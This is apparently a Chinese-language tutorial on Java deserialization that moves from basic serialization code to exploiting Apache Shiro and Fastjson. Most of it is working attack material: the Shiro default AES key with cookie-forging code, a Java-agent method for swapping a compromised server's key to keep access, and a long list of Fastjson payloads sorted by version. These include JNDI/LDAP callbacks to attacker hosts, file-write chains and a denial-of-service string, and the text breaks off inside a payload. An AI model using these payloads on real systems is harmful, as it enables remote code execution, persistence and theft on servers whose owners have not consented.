什么是序列化与反序列化
- Java 序列化是指把 Java 对象转换为字节序列的过程。
- Java 反序列化是指把字节序列恢复为 Java 对象的过程。
序列化的作用
- 实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上。
- 利用序列化实现远程通信,即在网络上传递对象的字节序列。
序列化与反序列化实现
JDK类库中的序列化API: 使用到JDK中关键类 ObjectOutputStream(对象输出流) 和ObjectInputStream(对象输入流) ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。 ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。
目标对象实现 Serializable 接口 新建一个Users类,实现Serializable接口,并且生成版本号
package org.joychou.test;
import java.io.Serializable;
public class Users implements Serializable {
private static final long serialVersionUID = 3919559144903359124L;
private int age;
private String name;
private String sex;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
@Override
public String toString() {
return "Users{" +
"age=" + age +
", name='" + name + '\'' +
", sex='" + sex + '\'' +
'}';
}
}
serialVersionUID 序列化版本号的作用是用来区分我们所编写的类的版本,取值是 Java 运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的 serialVersionUID 的取值有可能也会发生变化。
【一一帮助安全学习,所有资源获取处一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全攻防357页笔记 ④50份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥信息收集80条搜索语法 ⑦100个漏洞实战案例 ⑧安全大厂内部视频资源 ⑨历年CTF夺旗赛题解析 序列化和反序列化Person类对象
package org.joychou.test;
import java.io.*;
public class TestObjSerializeAndDeserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
TestObjSerializeAndDeserialize.SerializeUsers();
TestObjSerializeAndDeserialize.DeserializeUsers();
}
private static void SerializeUsers() throws IOException {
Users users = new Users();
users.setAge(20);
users.setName("Tom");
users.setSex("male");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/Users.ser"));
objectOutputStream.writeObject(users);
System.out.println("序列化完成!");
objectOutputStream.close();
}
private static void DeserializeUsers() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("Users/xxxx/Desktop/Users.ser"));
Users users = (Users) objectInputStream.readObject();
System.out.println("反序列化完成");
System.out.println(users.toString());
}
}
cat查看序列化后的二进制文件数据,Java的为乱码 
0x01 常见的存在反序列化漏洞框架
Shiro
 Shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下 Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms
Subject:代表当前的用户 SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心 Realms:SecurityManager的认证和授权需要使用Realm,Realm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro 的时候,我们必须指定至少一个Realm 来实现认证(authentication)和/或授权(authorization) 我们需要实现Realms的Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等 下面是自己实现的 Realm,这里我们实现了认证的方法
这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码  我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin那么就返回 AuthenticationInfo AuthenticationInfo会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败
Shiro-550漏洞原理
在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。 服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
- 检索RememberMe Cookie的值
- 进行Base64解码
- 进行AES解码
- 进行反序列化操作,sink点readObject()。
在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。 由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==
漏洞检测
Shiro主要检测思路有三种
-
第一种是使用yso下的URLDNS利用链进行检测 -
第二种是使用yso下cc利用链进行盲打,生成ping dnslog payload,如果key正确,dnslog会收到请求 -
前面两种思路都是使用dnslog进行测试,但是如果我们的目标不出网的情况下,只能使用CC链盲打,判断延迟。这种情况也会存在一些小问题,如果目标不出网,同时利用链不是CC的情况下,我们就会错过一些漏洞。其实在很多的文章里面都提到了一种思路,构造一个继承 PrincipalCollection的序列化对象(SimplePrincipalCollection),将我们的payload放进rememberMe里面,key正确情况下Set-Cookie不返回 deleteMe,key错误情况下Set-Cookie返回 deleteMe。
原理: 首先看一下为什么当key错误时,Set-Cookie会返回deleteMe。 找到我们的shiro-core/1.2.4/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class,这个类主要是用来处理rememberMe的逻辑代码,核心点在AbstractRememberMeManager#getRememberedPrincipals这段代码中。
在118行设置断点
下面我们开始debug,启动项目  下面我们分别来看两种情况
- 当AES的key不正确的情况下
把rememberMe的值改成1  调用convertBytesToPrincipals方法,跟进convertBytesToPrincipals方法  发现137行调用了decrypt解密  然后167行接着调用解密  AES解密算法,因为我们的key错误,这里直接抛异常了  直接被上一部分的代码捕捉到  跟进我们的核心代码onRememberedPrincipalFailure方法,继续跟进forgetIdentity方法  在forgetIdentity方法当中从subjectContext对象获取request和response,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)这个构造方法处理。  跟进forgetIdentity(HttpServletRequest request, HttpServletResponse response),看到一个removeFrom方法。  继续跟进removeFrom方法,发现了给我们的Cookie增加deleteMe字段的位置了  结果:  key正确的情况下,不返回deleteMe,可以自行调试 key正确,会使用deserialize方法进行反序列化,PrincipalCollection是个接口
所以我们需要构造一个继承PrincipalCollection的序列化对象 Poc:
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
漏洞复现
使用SpringBoot,Shiro-1.2.24搭建测试环境 
因为yso中使用的是commons-beanutils-1.9.2,而shiro core中使用的是commons-beanutils1.8.3,我们使用改造后的ysoserial生成CommonsBeanutils_183的Gadget
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
package ysoserial.util;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class AESencode {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/xxxxx/ysoserial-new/poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
发送生成的rememberMe Cookie,命令执行成功: 
Shiro 后渗透-使用Agent技术修改key
什么是java agent?
在JDK1.5以后,我们可以使用agent技术构建一个独立于应用程序的代理程序(即为Agent),用来协助监测、运行甚至替换其他JVM上的程序。Agent分为两种,一种是在主程序之前运行的Agent,一种是在主程序之后运行的Agent(前者的升级版,1.6以后提供)。
学习Java Agent除了可以做RASP等产品,我们还可以做一些趣味性事情,比如我们可以使用Agent机制实现Java商业软件破解,我们常用的IntelliJ IDEA破解工具就是使用Agent方式动态修改License类校验逻辑来实现破解的。
为什么要获取shiro的key?
- 可以方便我们快速的实现内网横向,毕竟shiro这个漏洞利用已经非常非常成熟了。
- 可以将这个key加入我们key字典中,方便之后的项目中测试。
- 如果我们修改key,但我们一失手忘记掉了key,也还要补救的措施。
- 如果点掉了,可以通过shiro这个入口快速重新切进去。
使用demo环境进行测试:
-
首先可以确定环境的key是默认的,并且是可以执行命令的。  -
上传AgentInjectTool到目标服务器,执行命令java -jar AgentInjectTool.jar list,获取shiro环境启动的pid.  -
执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey} 
触发获取key操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能 
生成新key,尝试注入 
新key测试成功 
修改shirokey原理:
通过Java Agent,我们可以hook想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。修改shiro的key需要调用内存中的AbstractRememberMeManager对象的setCipherKey方法,才能实现修改shiro的key的目的。 
缺点: 由于已经用了新key,已登录的用户会话会失效,导致影响业务,慎重使用。
Fastjson
漏洞原理
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
autotype功能:允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
AutoType黑名单机制 既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中,FastJson中通过Hash算法,将一系列存在安全风险的Class全路径的Hash值存储在黑名单中,代码如下 
Fastjson 低版本 1.2.25-1.2.42明文黑名单。 
判断fastjson和jackson
如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
这里 fastjson 是不会报错的
Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显
漏洞poc
- 有回显
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样  - 无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson,使用以下payload测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
 最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
嵌套在里面zeo里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:
- 通过DOS延迟方式判断
Fastjson1.2.36 - 1.2.62正则表达式拒绝服务漏洞
{"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
Fastjson < 1.2.60 在取不到值的时候会填充\u001a,使用{"a:"\x进行请求就会发生DOS
漏洞exp
多版本payload 影响版本:fastjson<=1.2.24 exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.41 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.42 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.43 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.45 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"ldap://localhost:1399/Exploit"}}
影响版本:fastjson<=1.2.47 exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
影响版本:fastjson<=1.2.62 exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
影响版本:fastjson<=1.2.66 前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
影响版本:fastjson<=1.2.68 JRE 8 下的写文件利用链 PoC,这个利用链仅仅存在centos中,sun.rmi.server.MarshalOutputStream在win下是没有的
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
commons-io 2.0 - 2.6 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7 - 2.8.0 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
总结:
-
jndi(需要出网)
- JdbcRowSetImpl
- C3p0#JndiRefForwardingDataSource
- JndiDataSourceFactory
- shiro#JndiObjectFactory
- shiro#JndiRealmFactory
-
BCEL(不出网利用。 需要注意在Java 8u251以后,bcel类被删除) BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel Poc: {
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
|